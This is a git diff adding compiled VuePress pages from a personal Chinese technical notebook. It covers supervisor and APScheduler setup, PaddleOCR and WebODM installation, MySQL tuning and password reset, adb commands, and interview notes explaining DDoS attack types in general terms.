',5),_=[o];function n(p,i){return d(),e("div",null,_)}const m=t(h,[["render",n],["__file","运动手表.html.vue"]]);export{m as default}; diff --git "a/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-2LDRmBaI.js" "b/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-2LDRmBaI.js" new file mode 100644 index 0000000..7d7b89d --- /dev/null +++ "b/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-2LDRmBaI.js" @@ -0,0 +1 @@ +import{_ as e,o,c as s,b as t,d as n}from"./app-x8p6wK6B.js";const c={},l=t("h1",{id:"运维相关",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#运维相关","aria-hidden":"true"},"#"),n(" 运维相关")],-1),_=t("p",null,"想在多个机器上使用同一个 shell 脚本有什么好建议吗?",-1),a=t("p",null,"https://www.v2ex.com/t/845974 curl 执行暴露出来的脚本 scp git 私仓 ansible or saltstack (推荐后者)",-1),i=t("p",null,"安卓自动化:",-1),p=t("p",null,"https://github.com/Jinnrry/RobotHelper",-1),r=t("p",null,"tcp 连接 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'",-1),d=t("p",null,"iptables 做端口转发",-1),h=t("p",null,[t("code",null,"iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.190:22")],-1),u=[l,_,a,i,p,r,d,h];function f(m,b){return o(),s("div",null,u)}const N=e(c,[["render",f],["__file","运维相关.html.vue"]]);export{N as default}; diff --git "a/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-6v7-SYPQ.js" "b/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-6v7-SYPQ.js" new file mode 100644 index 0000000..4c4443e --- /dev/null +++ "b/assets/\350\277\220\347\273\264\347\233\270\345\205\263.html-6v7-SYPQ.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-553c7882","path":"/web/%E8%BF%90%E7%BB%B4%E7%9B%B8%E5%85%B3.html","title":"运维相关","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/运维相关.md"}');export{t as data}; diff --git "a/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-JMs5DErA.js" "b/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-JMs5DErA.js" new file mode 100644 index 0000000..eaa347b --- /dev/null +++ "b/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-JMs5DErA.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-4d543397","path":"/python/%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86.html","title":"进程管理","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"APScheduler","slug":"apscheduler","link":"#apscheduler","children":[]},{"level":3,"title":"20201026","slug":"_20201026","link":"#_20201026","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/进程管理.md"}');export{e as data}; diff --git "a/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-OXlKZbzZ.js" "b/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-OXlKZbzZ.js" new file mode 100644 index 0000000..1096886 --- /dev/null +++ "b/assets/\350\277\233\347\250\213\347\256\241\347\220\206.html-OXlKZbzZ.js" @@ -0,0 +1,49 @@ +import{_ as s,o as e,c as n,a}from"./app-x8p6wK6B.js";const t={},i=a(`
款式 发布时间 价格 现价 重量 apple watch se2 2022-9 1999 1999 apple watch s8 2022-9 2999 2999 华为watch gt runner 2021-9 1999 670 38.5g(不含腕带) 华为手环8NFC 2023-4 299 259 14.1(不含腕带) 小米手环8NFC 2023-4 299 229 27(含腕带) oppo手环2NFC 2022-8 279 249 # 进程管理
supervisor 管理进程简明教程:https://www.jianshu.com/p/bf2b3f4dec73 使用 supervisor 管理进程:https://liyangliang.me/posts/2015/06/using-supervisor/ https://www.cnblogs.com/wswang/p/5795766.html
方便管理 =配置复杂
为实现进程管理, 需要先对程序做以下分类
- demo 程序: 可能会出问题的程序, 需要保留程序上下文 1.使用screen 进行操作
screen -S screen_Name + +python3 main.py +
2.
nohup python3 main.py > log 2>&1 &
- 例行任务
- crontab
这种是比较简单的方式,缺点在于移动文件时不好管理
- superversion + schedule(APScheduler)
配置较复杂 带有web接口
superversion program.conf
[program:zhonghua] +command=python3 APScheduler_main.py ; the program (relative uses PATH, can take args) +process_name=%(program_name)s ; process_name expr (default %(program_name)s) +numprocs=1 ; number of processes copies to start (def 1) +directory=/home/ubuntu/zorsong/zhonghua_task ; directory to cwd to before exec (def no cwd) +;umask=022 ; umask for process (default None) +;priority=999 ; the relative start priority (default 999) +;autostart=true ; start at supervisord start (default: true) +;startsecs=1 ; # of secs prog must stay up to be running (def. 1) +;startretries=3 ; max # of serial start failures when starting (default 3) +autorestart=unexpected ; when to restart if exited after running (def: unexpected) +exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2) +stopsignal=QUIT ; signal used to kill process (default TERM) +stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10) +stopasgroup=false ; send stop signal to the UNIX process group (default false) +killasgroup=false ; SIGKILL the UNIX process group (def false) +user=ubuntu ; setuid to this UNIX account to run the program +redirect_stderr=true ; redirect proc stderr to stdout (default false) +stdout_logfile=/home/ubuntu/zorsong/zhonghua_task/logfile ; stdout log path, NONE for none; default AUTO +;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) +;stdout_logfile_backups=10 ; # of stdout logfile backups (default 10) +;stdout_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) +;stdout_events_enabled=false ; emit events on stdout writes (default false) +stderr_logfile=/home/ubuntu/zorsong/zhonghua_task/logfile ; stderr log path, NONE for none; default AUTO +;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) +;stderr_logfile_backups=10 ; # of stderr logfile backups (default 10) +;stderr_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) +;stderr_events_enabled=false ; emit events on stderr writes (default false) +;environment=A="1",B="2" ; process environment additions (def no adds) +;serverurl=AUTO ; override serverurl computation (childutils) +
# APScheduler
+def foo(): + print("foo") + + +from apscheduler.schedulers.background import BackgroundScheduler + +sch = BackgroundScheduler() + +sch.add_job(foo) # 不加时间, 会在sch.start()后立即执行 +sch.add_job(foo,'interval',minutes=5) # 每5分钟执行一次 +sch.add_job(foo, 'cron', hour='9') # 每天的09:00 执行一次 + + + +
# 20201026
http://www.vuln.cn/9121
`,18),l=[i];function o(r,d){return e(),n("div",null,l)}const c=s(t,[["render",o],["__file","进程管理.html.vue"]]);export{c as default}; diff --git "a/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-5ZV3ZJJm.js" "b/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-5ZV3ZJJm.js" new file mode 100644 index 0000000..13297cb --- /dev/null +++ "b/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-5ZV3ZJJm.js" @@ -0,0 +1,65 @@ +import{_ as e,o as i,c as n,a as d}from"./app-x8p6wK6B.js";const l={},c=d(`# 部署paddle框架之ocr
# 步骤
1.下载安装anconda 2. 创建一个环境先
conda create -n paddle_env +conda activate paddle_env +
`,5),r=[c];function s(a,_){return i(),n("div",null,r)}const t=e(l,[["render",s],["__file","部署paddle框架之ocr.html.vue"]]);export{t as default}; diff --git "a/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-vwkMyYHg.js" "b/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-vwkMyYHg.js" new file mode 100644 index 0000000..8a3eaf6 --- /dev/null +++ "b/assets/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html-vwkMyYHg.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-689f17cc","path":"/python/cv/%E9%83%A8%E7%BD%B2paddle%E6%A1%86%E6%9E%B6%E4%B9%8Bocr.html","title":"部署paddle框架之ocr","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"步骤","slug":"步骤","link":"#步骤","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/部署paddle框架之ocr.md"}');export{e as data}; diff --git "a/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-Nvd1Q05q.js" "b/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-Nvd1Q05q.js" new file mode 100644 index 0000000..ccaff47 --- /dev/null +++ "b/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-Nvd1Q05q.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-2466882a","path":"/notebook/%E9%87%8D%E7%BD%AECMD%E8%AE%BE%E7%BD%AE.html","title":"重置CMD设置","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/重置CMD设置.md"}');export{t as data}; diff --git "a/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-WYxGHLc5.js" "b/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-WYxGHLc5.js" new file mode 100644 index 0000000..793a555 --- /dev/null +++ "b/assets/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html-WYxGHLc5.js" @@ -0,0 +1 @@ +import{_ as e,o as t,c,a as o}from"./app-x8p6wK6B.js";const s="/assets/20200313180023826_26780-wWVBxmWt.png",_={},a=o('# 安装FastDpeloy python包(详细文档请参考\`部署环境准备\`) + +# 约1.2g +pip install fastdeploy-gpu-python -f https://www.paddlepaddle.org.cn/whl/fastdeploy.html + +# 约 3g +conda config --add channels conda-forge && conda install cudatoolkit=11.2 cudnn=8.2 + +# 下载部署示例代码 +git clone https://github.com/PaddlePaddle/FastDeploy.git +cd FastDeploy/examples/vision/ocr/PP-OCR/cpu-gpu/python + +# 如果您希望从PaddleOCR下载示例代码,请运行 +git clone https://github.com/PaddlePaddle/PaddleOCR.git +# 注意:如果当前分支找不到下面的fastdeploy测试代码,请切换到dygraph分支 +git checkout dygraph +cd PaddleOCR/deploy/fastdeploy/cpu-gpu/python + +# 下载PP-OCRv3文字检测模型 +wget https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_det_infer.tar +tar -xvf ch_PP-OCRv3_det_infer.tar +# 下载文字方向分类器模型 +wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar +tar -xvf ch_ppocr_mobile_v2.0_cls_infer.tar +# 下载PP-OCRv3文字识别模型 +wget https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_rec_infer.tar +tar -xvf ch_PP-OCRv3_rec_infer.tar + +# 下载预测图片与字典文件 +wget https://gitee.com/paddlepaddle/PaddleOCR/raw/release/2.6/doc/imgs/12.jpg +wget https://gitee.com/paddlepaddle/PaddleOCR/raw/release/2.6/ppocr/utils/ppocr_keys_v1.txt + +# 运行部署示例 +# 在CPU上使用Paddle Inference推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend paddle +# 在CPU上使用OenVINO推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend openvino +# 在CPU上使用ONNX Runtime推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend ort +# 在CPU上使用Paddle Lite推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend pplite +# 在GPU上使用Paddle Inference推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend paddle +# 在GPU上使用Paddle TensorRT推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend pptrt +# 在GPU上使用ONNX Runtime推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend ort +# 在GPU上使用Nvidia TensorRT推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend trt + +# 同时, FastDeploy提供文字检测,文字分类,文字识别三个模型的单独推理, +# 有需要的用户, 请准备合适的图片, 同时根据自己的需求, 参考infer.py来配置自定义硬件与推理后端. + +# 在CPU上,单独使用文字检测模型部署 +python infer_det.py --det_model ch_PP-OCRv3_det_infer --image 12.jpg --device cpu + +# 在CPU上,单独使用文字方向分类模型部署 +python infer_cls.py --cls_model ch_ppocr_mobile_v2.0_cls_infer --image 12.jpg --device cpu + +# 在CPU上,单独使用文字识别模型部署 +python infer_rec.py --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu + +
# 重置CMD设置
打开运行,输入
regedit
打开注册表找到如图下所示的文件夹,删除掉即可
按理说删除
%SystemRoot%_System32_cmd.exe
即可, 实际中我删除后无效因此我尝试将整个
',6),d=[a];function r(n,p){return t(),c("div",null,d)}const m=e(_,[["render",r],["__file","重置CMD设置.html.vue"]]);export{m as default}; diff --git "a/assets/\351\235\242\350\257\225.html-mdJ2GoUw.js" "b/assets/\351\235\242\350\257\225.html-mdJ2GoUw.js" new file mode 100644 index 0000000..eb740c1 --- /dev/null +++ "b/assets/\351\235\242\350\257\225.html-mdJ2GoUw.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-27f8a722","path":"/python/%E9%9D%A2%E8%AF%95.html","title":"面试","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/面试.md"}');export{t as data}; diff --git "a/assets/\351\235\242\350\257\225.html-o0gloVSU.js" "b/assets/\351\235\242\350\257\225.html-o0gloVSU.js" new file mode 100644 index 0000000..8a75e71 --- /dev/null +++ "b/assets/\351\235\242\350\257\225.html-o0gloVSU.js" @@ -0,0 +1,4 @@ +import{_ as o,o as e,c as p,a as t}from"./app-x8p6wK6B.js";const P="/assets/20220401140429373_9677-JkF4tT3w.png",n={},i=t(`Console
文件夹删除掉,打开CMD后恢复了默认设置,成功# 面试
1,网络 1.1 本地dns服务器如何获取
通过DHCP协议从DHCP服务器获取,就和自动获取IP一样,DNS只不过是其中一个option。
计算机设置自动获取后,它会向网内发送个广播,当服务器收到这个包时就会回应个地址给这台机器,机器取到回应后设置完成 路由器也是类似,从他连接到的运行商发送这个广播 通过DHCP协议从DHCP服务器获取,就和自动获取IP一样,DNS只不过是其中一个option。
车小胖计算机网络话题下的优秀答主19 人赞同了该回答主机在启动时,会发送一个广播DHCP报文来寻找DHCP服务器,来给自己分配上网用的IP地址,DNS服务器地址等信息:什么是DHCP?Dynamic Host Configuration Protocol,动态主机配置协议,它主要用来给用户的电脑分配以下信息:1)IP地址 如 10.1.1.22)IP地址对应的子网掩码 如 255.255.255.0 DHCP 里有很多选项option,子网掩码放在option 1里3)缺省网关 如 10.1.1.1 Option 3,当主机10.1.1.2 想访问互联网,需要把IP包先发给缺省网关10.1.1.1,然后缺省网关再发送给它上游的路由器4)DNS 服务器 如8.8.8.8这个DNS 服务器就是放在option 6信息字段里的,DNS 服务器负责域名和IP地址的翻译,比如你访问 http://www.zhihu.com ,DNS服务器可以把它翻译成115.21.37.139,然后主机就可以用这个IP地址来访问知乎了。那DHCP的安全漏洞是什么呢?如果一个邪恶软件伪造不同的Mac地址,不断发送DHCP discovery,比如1000个,如果没有安全措施,DHCP server很有可能就分配1000个IP地址给它,因为server是根据client Mac来分配IP的,这样很快就可以把地址池资源耗尽,其它的用户因为没有地址可用而无法上网!应对方法:配置DHCP option 82,DHCP discovery途径二层交换机时,交换机修改报文,增加option 82信息,即这条消息是从哪个端口收到的,把这个端口信息添加到DHCP discovery 报文里,服务器根据 “client Mac地址+ 交换机端口号” 来分配IP,即任意一个交换机端口最多分配一个IP,即使采用伪造的不同的Mac地址来请求也是一个!这就是DHCP反欺骗措施,DHCP Anti-Spoofing!----------回复@唐诗宋词评论----------Option 82 是 谁来添加到DHCP 消息报文? 添加到什么报文? 主要作用是什么?主要作用是什么?1) line ID 让Radius server 可以知道DHCP client location 信息,比如 switch x Port x/x/x ,可以提供安全认证服务器更多关于 client 具体位置,可以 tracking and logging DHCP client2) remote ID ,可以让DHCP server 依靠 remote ID + Hardware MAC 来分配IP,避免伪造 MAC 耗尽IP地址池。谁来添加到DHCP 消息报文?1) DHCP snooping switch2) DHCP relay router添加到什么报文? 1) DHCP Discovery2) DHCP Request编辑于 2016-07-17 10:08赞同 195 条评论分享收藏喜欢收起
由器转发 DNS 请求 1.2 更新域名指向,边缘dns服务器如何知道更新了 缓存获取后,再次查询
1.3 qq.com 如何承受这么大的访问量 cdn, dns根据所在地提供不同的ip 然后做负载均衡
1.4 https 密钥交换算法 DH算法 密钥协商算法
1.5 cc攻击, ddos攻击原理
tcp land攻击
1、SYN Flood攻击 SYN Flood攻击是当前网络上最为常见的DDoS攻击,它利用了TCP协议实现上的一个缺陷。通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问。 [7] 2、UDP Flood攻击 UDP Flood是日渐猖厥的流量型DDoS攻击,原理也很简单。常见的情况是利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。由于UDP协议是一种无连接的服务,在UDP Flood攻击中,攻击者可发送大量伪造源IP地址的小UDP包。 [7] 3、ICMP Flood攻击 ICMP Flood攻击属于流量型的攻击方式,是利用大的流量给服务器带来较大的负载,影响服务器的正常服务。由于目前很多防火墙直接过滤ICMP报文。因此ICMP Flood出现的频度较低。 [7] 4、Connection Flood攻击 Connection Flood是典型的利用小流量冲击大带宽网络服务的攻击方式,这种攻击的原理是利用真实的IP地址向服务器发起大量的连接。并且建立连接之后很长时间不释放,占用服务器的资源,造成服务器上残余连接(WAIT状态)过多,效率降低,甚至资源耗尽,无法响应其他客户所发起的链接。 [7] 5、HTTP Get攻击 这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用。这种攻击的特点是可以绕过普通的防火墙防护,可通过Proxy代理实施攻击,缺点是攻击静态页面的网站效果不佳,会暴露攻击者的lP地址。 [7] 6、UDP DNS Query Flood攻击 UDP DNS Query Flood攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。 [7]
代理CC攻击是黑客借助代理服务器生成指向受害主机的合法网页请求,实现DDoS,和伪装就叫:cc(Challenge Collapsar)
1.6 负载均衡,如果一个机器挂掉,其他的机器应该怎么办
按照处理极限接手部分流量,其余流量则丢弃 +
1.7 快速移动的情况下,会发生什么(基站带宽改变,基站切换
优化: 使用httpdns,内置一些ip服务器做httpdns + 使用quic +
弱网络优化
HttpDNSLib 1)lbs 返回服务器 ip 而非域名 2)本地缓存 lbs ip 地址备用,请求 lbs 时优先使用 ip 而非域名
icmp ping
',20),D=[i];function c(r,s){return e(),p("div",null,D)}const l=o(n,[["render",c],["__file","面试.html.vue"]]);export{l as default}; diff --git "a/notebook/2019\345\271\264\345\271\264\345\272\246\346\261\207\346\212\245.html" "b/notebook/2019\345\271\264\345\271\264\345\272\246\346\261\207\346\212\245.html" new file mode 100644 index 0000000..5d92dcc --- /dev/null +++ "b/notebook/2019\345\271\264\345\271\264\345\272\246\346\261\207\346\212\245.html" @@ -0,0 +1,34 @@ + + + + + + + + ++ + + + + + + + + diff --git "a/notebook/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html" "b/notebook/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html" new file mode 100644 index 0000000..7a989dd --- /dev/null +++ "b/notebook/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html" @@ -0,0 +1,34 @@ + + + + + + + + + 2022-8机械键盘需求 + + + + + ++ + + diff --git "a/notebook/3D\345\273\272\346\250\241/index.html" "b/notebook/3D\345\273\272\346\250\241/index.html" new file mode 100644 index 0000000..a3d1281 --- /dev/null +++ "b/notebook/3D\345\273\272\346\250\241/index.html" @@ -0,0 +1,34 @@ + + + + + + + + +这里是notebook/3D建模 + + + + + + + + + diff --git "a/notebook/3D\345\273\272\346\250\241/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html" "b/notebook/3D\345\273\272\346\250\241/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html" new file mode 100644 index 0000000..bb4852e --- /dev/null +++ "b/notebook/3D\345\273\272\346\250\241/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html" @@ -0,0 +1,64 @@ + + + + + + + + +webodm配置安装 + + + + + ++ + + diff --git a/notebook/Mysql.html b/notebook/Mysql.html new file mode 100644 index 0000000..243a1c0 --- /dev/null +++ b/notebook/Mysql.html @@ -0,0 +1,84 @@ + + + + + + + + +webodm配置安装
moyechen 23.9.24
环境配置 windows11
rtx4070 已在windwos部署好驱动,cuda
步骤1 wsl2配置
启动wsl 可能需要更新,wsl --update 打开微软应用闪电,搜索ubuntu,安装ubuntu
安装结束后,点击启动,需初始化ubuntu的账号密码
步骤1 安装docker desktop
从官网下载即可 启动后打开设置,勾选wsl2,选中刚安装的ubuntu
ubuntu nvidia驱动配置
https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html#installing-with-apt
进入ubuntu
配置gpgkey
curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \ + && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \ + sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \ + sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list \ + && \ + sudo apt-get update +
安装工具包
sudo apt-get install -y nvidia-container-toolkit +
执行
sudo nvidia-ctk runtime configure --runtime=docker +
但是wsl的配置文件不在
/etc/docker/
下,我们吧工具增加的内容复制出来,去docker desktop配置即可修改后点击右下角apply&restart
重启完成后,检测是否部署成功
sudo docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi +
Your output should resemble the following output:
+-----------------------------------------------------------------------------+ +| NVIDIA-SMI 535.86.10 Driver Version: 535.86.10 CUDA Version: 12.2 | +|-------------------------------+----------------------+----------------------+ +| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | +| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | +| | | MIG M. | +|===============================+======================+======================| +| 0 Tesla T4 On | 00000000:00:1E.0 Off | 0 | +| N/A 34C P8 9W / 70W | 0MiB / 15109MiB | 0% Default | +| | | N/A | ++-------------------------------+----------------------+----------------------+ + ++-----------------------------------------------------------------------------+ +| Processes: | +| GPU GI CI PID Type Process name GPU Memory | +| ID ID Usage | +|=============================================================================| +| No running processes found | ++-----------------------------------------------------------------------------+ +
步骤3 拉取项目文件
在打开的ubuntu中, 拉取项目(需提前安装git)
git clone https://github.com/OpenDroneMap/WebODM +
步骤4 启动
./webodm.sh start --gpu +
mipc杂项
时间估算 132张照片大概一小时
132×132/5 ~= 3600
256张大概4小时
gpu 实际gpu使用率一直没上去,也不知道为啥
测试数据集
https://github.com/pierotofy/dataset_banana/tree/master
Mysql + + + + + ++ + + diff --git a/notebook/adb.html b/notebook/adb.html new file mode 100644 index 0000000..f4132a1 --- /dev/null +++ b/notebook/adb.html @@ -0,0 +1,41 @@ + + + + + + + + +Mysql
2020/9/28
重置mysql密码
服务器版本: ubuntu
第一步:停止mysql服务
sudo /etc/init.d/mysqld stop
orsudo service mysql stop
第二步, 以跳过密码验证模式启动mysql , 这一步窗口会阻塞, 需要再开启一个终端
sudo mysqld_safe --skip-grant-tables
可能有人这个时候报了一个错误,
mysqld_safe Directory '/var/run/mysqld' for UNIX socket file don't exists
google 得到解决方案
https://stackoverflow.com/questions/42153059/mysqld-safe-directory-var-run-mysqld-for-unix-socket-file-dont-exists
sudo mkdir -p /var/run/mysqld +sudo chown mysql:mysql /var/run/mysqld +
问题解决
第三步: 进入mysql
mysql
第四步, 更新密码,这里我将密码改为
your_password
+use mysql; + +update user set authentication_string = password("your_password") where user = "root"; +flush privileges; + +
然后重启mysql 即可
先杀掉我们 +
2020/4/5
select insert
+INSERT INTO table2 +(column_name(s)) +SELECT column_name(s) +FROM table1; +
2020/3/29
mysql 语句分析:
explain + sql语句
数据类型为text 的时间字段, 对比
- 最简形式 96s
SELECT * FROM `tousu_heimao_table` WHERE complaint_time > '2020-03-27' + + +加入limit 50 +SELECT id FROM `tousu_heimao_table` WHERE complaint_time > '2020-03-27' ORDER BY complaint_time limit 50; 5s + +
- 使用时间戳,以及替换*为字段名 45s
SELECT id,identity_code,crawl_time,title,complain_man,website,object_of_complaint,question_type,appeal_type,details_of_complaint,process_flow,comment_data,complaint_time FROM `tousu_heimao_table` WHERE unix_timestamp(complaint_time) > 1585281379` + + + +
- 只查询id,没有设置limit
SELECT id FROM `tousu_heimao_table` WHERE unix_timestamp(complaint_time) > 1585281379 limit 50 +
- 前50个 6.5s, 第1000-1050个, 65s
SELECT id FROM `tousu_heimao_table` WHERE unix_timestamp(complaint_time) > 1585281379 ORDER BY complaint_time DESC limit 50 +
- 第100000-100050条 40s
SELECT id FROM `tousu_heimao_table` WHERE 1=1 ORDER BY complaint_time DESC limit 100000,50 +
- 稍微优化, 27s
SELECT id FROM `tousu_heimao_table` WHERE id > (select id from `tousu_heimao_table` ORDER BY complaint_time DESC limit 100000,1) limit 50 +
7.究极优化 3s
SELECT * FROM `tousu_heimao_table` WHERE id > (select id from `tousu_heimao_table` ORDER BY id limit 100000,1) limit 50 +
8 .加入时间 2s
SELECT * FROM `tousu_heimao_table` WHERE id > (select id from `tousu_heimao_table` where complaint_time>'2019-3-27' ORDER BY id limit 100000,1) limit 50 +
- 字段数据类型设置为datetime
SELECT * FROM tousu_table WHERE complaint_time > '2020-3-27' limit 100; 7s +
SELECT * FROM tousu_table WHERE complaint_time > '2020-03-27' limit 100; 10s +
输出表的字段名 2020/03/26
select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name'; +
查询所有符合要求的行数, 同时取limit数据
一般思路: 查一下count(1) , 然后把count(1) 换成 * , 后面加上limit 0, 50, 再次查询得到数据
优化: 博客
select SQL_CALC_FOUND_ROWS + col_name1 as colName1, + col_name2 as colName2 +from table_name limit 0,10; +select FOUND_ROWS() as count; + +在SELECT语句中加上修饰SQL_CALC_FOUND_ROWS 之后,SELECT FOUND_ROWS() 会返回满足条件记录的总数。 +
这样,你执行完 select SQL_CALC_FOUND_ROWS 之后,再取一下记录总数就行了。
3/29:
SELECT SQL_CALC_FOUND_ROWS + * +FROM + tousu_table +WHERE + (complaint_time <= '2020-03-30' AND complaint_time >= '2020-03-22' ) +ORDER BY + complaint_time + LIMIT 0, + 50 +
建立索引后,加与不加时间差异很大,加上后6.6s 不加1s
使用这个东西会导致全表扫描
adb + + + + + ++ + + diff --git a/notebook/cf-tools.html b/notebook/cf-tools.html new file mode 100644 index 0000000..5ab0f11 --- /dev/null +++ b/notebook/cf-tools.html @@ -0,0 +1,60 @@ + + + + + + + + +adb
adb 更换壁纸 2020/4/29
am start -d file:////data/local/tmp/black_white.png -a android.service.wallpaper.CROP_AND_SET_WALLPAPER -f 0x1 com.android.launcher3/.WallpaperCropActivity
adb 授予/撤销 应用权限 2020/4/27
# 给微信授予高精度定位权限 +adb shell pm grant com.tencent.mm android.permission.ACCESS_FINE_LOCATION + +# 撤销 +adb shell pm revoke com.tencent.mm android.permission.ACCESS_FINE_LOCATION + + +
有用的链接
- https://www.cnblogs.com/jianxu/p/5380882.html
- https://ligboy.org/?p=429 AppOps ,设置权限(在一加5, 7.1.1上简单测试未生效)
adb推送后,图片在相册中不显示 2020/4/26
命令1刷新图片:adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE -d file:///sdcard/Pictures/xx.png
命令2刷新目录:adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///sdcard/Pictures ▲ android < 4.4
EXTERNAL_CONTENT_URI
Intent.ACTION_MEDIA_MOUNTED
一般命令2比较有用。但是命令2,需要权限,因此使用命令1
———————————————— 版权声明:本文为CSDN博主「jimic0831」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/jimic0831/article/details/78274265
